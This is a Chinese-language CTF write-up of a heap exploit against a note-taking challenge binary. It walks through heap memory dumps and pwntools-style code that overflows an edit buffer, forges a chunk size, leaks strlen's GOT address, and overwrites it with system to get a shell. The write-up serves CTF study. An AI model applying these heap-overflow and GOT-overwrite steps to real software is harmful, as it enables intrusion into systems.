vuln
buf_tmp[2] = strdup(&s);
new_note函数中,(strdup相当于malloc)malloc的size是根据输入的字符串(content)来的
Tip: 不管申请多小,chunk都>=0x20
但是在edit_note中,可以编辑的size是0x20字节
printf("please input new note content: ", &$id);
get_buf(*(void **)(v2 + 0x10), 0x20);
可以控制输入的content变化来造成堆溢出,改变下一个堆的结构
add_note(0x20, 'AAAA', 'AAAA')
add_note(0x20, 'AAAA', 'A'*0x18)
add_note(0x20, 'AAAA', 'A'*0x18)
建立三个块之后
------------------------------note0----------------------------------
struct:
0x603000: 0x00000000 0x00000000 0x00000021 0x00000000
0x603010: 0x00603030 0x00000000 0x00000000 0x00000000
***************name0-0x08:
0x603020: 0x00603060 0x00000000 0x00000031 0x00000000
0x603030: 0x41414141 0x00000000 0x00000000 0x00000000
0x603040: 0x00000000 0x00000000 0x00000000 0x00000000
***************content:
0x603050: 0x00000000 0x00000000 0x00000021 0x00000000
0x603060: 0x41414141 0x00000000 0x00000000 0x00000000
------------------------------note1--------------------------------------
struct:
0x603070: 0x00000000 0x00000000 0x00000021 0x00000000
0x603080: 0x006030a0 0x00000000 0x00000001 0x00000000
***************name-0x08:
0x603090: 0x006030d0 0x00000000 0x00000031 0x00000000
0x6030a0: 0x42424242 0x00000000 0x00000000 0x00000000
0x6030b0: 0x00000000 0x00000000 0x00000000 0x00000000
***************content:
0x6030c0: 0x00000000 0x00000000 0x00000031 0x00000000
0x6030d0: 0x42424242 0x42424242 0x42424242 0x42424242
0x6030e0: 0x42424242 0x42424242 0x00000000 0x00000000
-------------------------------note2---------------------------------------
struct:
0x6030f0: 0x00000000 0x00000000 0x00000021 0x00000000
0x603100: 0x00603120 0x00000000 0x00000002 0x00000000
***************name-0x08:
0x603110: 0x00603150 0x00000000 0x00000031 0x00000000
0x603120: 0x43434343 0x00000000 0x00000000 0x00000000
0x603130: 0x00000000 0x00000000 0x00000000 0x00000000
***************content:
0x603140: 0x00000000 0x00000000 0x00000031 0x00000000
0x603150: 0x42424242 0x42424242 0x42424242 0x42424242
0x603160: 0x42424242 0x42424242 0x00000000 0x00000000
note0.content = 'G'*0x18 + p64(fake_size) 即可控制note1.struct的size
leak
可以edit_note(0, 'G'*0x18 + p64(fake_size)),接着释放note1,这样释放的大小就能控制
这里假设fake_size = 0xd0 | 0x01 这里0x01是为了在free时验证通过
------------------------------note1--------------------------------------
struct:
0x603070: 0x00000000 0x00000000 0x000000d1 0x00000000
0x603080: 0x006030a0 0x00000000 0x00000001 0x00000000
free的时候,有两个操作
free(note1.content) # chunk 0x30
free(note1.struct) # chunk 0xd0
之后
add_note(0x20, 'AAAA', 'A'*0x18)
0x6030e0: 0x42424242 0x42424242 0x00000000 0x00000000
-------------------------------note2---------------------------------------
struct:
0x6030f0: 0x00000000 0x00000000 0x00000021 0x00000000
0x603100: 0x00603120 0x00000000 0x00000002 0x00000000
***************name-0x08/pointer to content:
0x603110: 0x00603150 0x00000000 0x00000031 0x00000000
0x603120: 0x43434343 0x00000000 0x00000000 0x00000000
0x603130: 0x00000000 0x00000000 0x00000000 0x00000000
***************content:
0x603140: 0x00000000 0x00000000 0x00000031 0x00000000
0x603150: 0x42424242 0x42424242 0x42424242 0x42424242
0x603160: 0x42424242 0x42424242 0x00000000 0x00000000
空间分配到0x6030e0
是因为
struct3(0x20)+name3(0x30)+content3(0x30) - overfree_content1(0x30) = 0x50
0x603078+0x40 = 0x6030c8
接着,可以利用fastbin特性,恰好覆盖到想要的地址,并且利用content对想要的地址覆盖,然后leak
add_note(0x10, 'AAAA', 'A'*0x18)
# 0x6030c8 + 0x20(struct) + 0x20(name) = 0x603108
0x603108为chunk_content开始地址,偏移0x08到0x603110就是content实际内容
而此时该地址也是note3.content的指针,会在list_note中 printf("%s", *0x603110)
那么只要覆盖这个0x603110,就可以leak出想要的地址
new_note(0x20, 'aaaa', 'AAAA') #0
new_note(0x20, 'bbbb', 'B'*0x18) #1
new_note(0x20, 'cccc', 'C'*0x18) #2
# over the size of note1.struct 0xd0 |= 0x01
edit_note(0, 'A'*0x18 + p64(0xd1))
# free note1 ;; size = 0x30+0xd0 = 0x100
delete_note(1)
# alloc size=0x80
new_note(0x20, 'dddd', 'D'*0x18) #1
# alloc size=0x20+0x20+0x30
new_note(0x10, 'ffff', p64(strlen_got)+'G'*0x10) #3
# [p_got]GGGGGG... => [p_got]\x00GGGGG....
edit_note(3, p64(strlen_got))
# mov rax, [rax+10h] rax <= strlen_got(orginal-content)
# call puts(rax) leak strlen address
list_note(2)
p.recvuntil('content: ')
# strip '\n'(=0x0a)
data = p.recvline()[:-1]
# convert address
strlen_addr = u64(data.ljust(8, '\x00'))
其中有很多细节:
- edit__note中最后发送content应该使用send函数,而不是sendline(大多数有read读很多的都应该sen_d)
- size=0xd0的chunk非free情况下要是0x01|size
- free先content,然后struct,大小是两个相加,即使有快是重复的
- p64(strlen_got)+'G'*0x10 中间是没有\x00,很显然直接leak是不好的,两个中间要补个0
exp
在获取了system地址之后,就是要执行system('/bin/sh')
# overwrite the strlen to system
edit_note(2, p64(system_addr))
# interactive the function strlen(*) in edit_note -> get_buf
edit_note(0, '/bin/sh\x00')
p.interactive()
这里很巧妙的用了edit_note的strlen函数,先是由于之前已经把note2的content指针改成了strlen的got,所以这里只要把strlen实际的地址(即strlen got指向的值)改为system,那么接下来调用strlen就相当于调用system了
而出题人已经在题中构造好了需要的代码
strlen((const char *)a1);
a1即是getbuf中的content要显示的指针(已经覆盖成了fake_strlen --> system)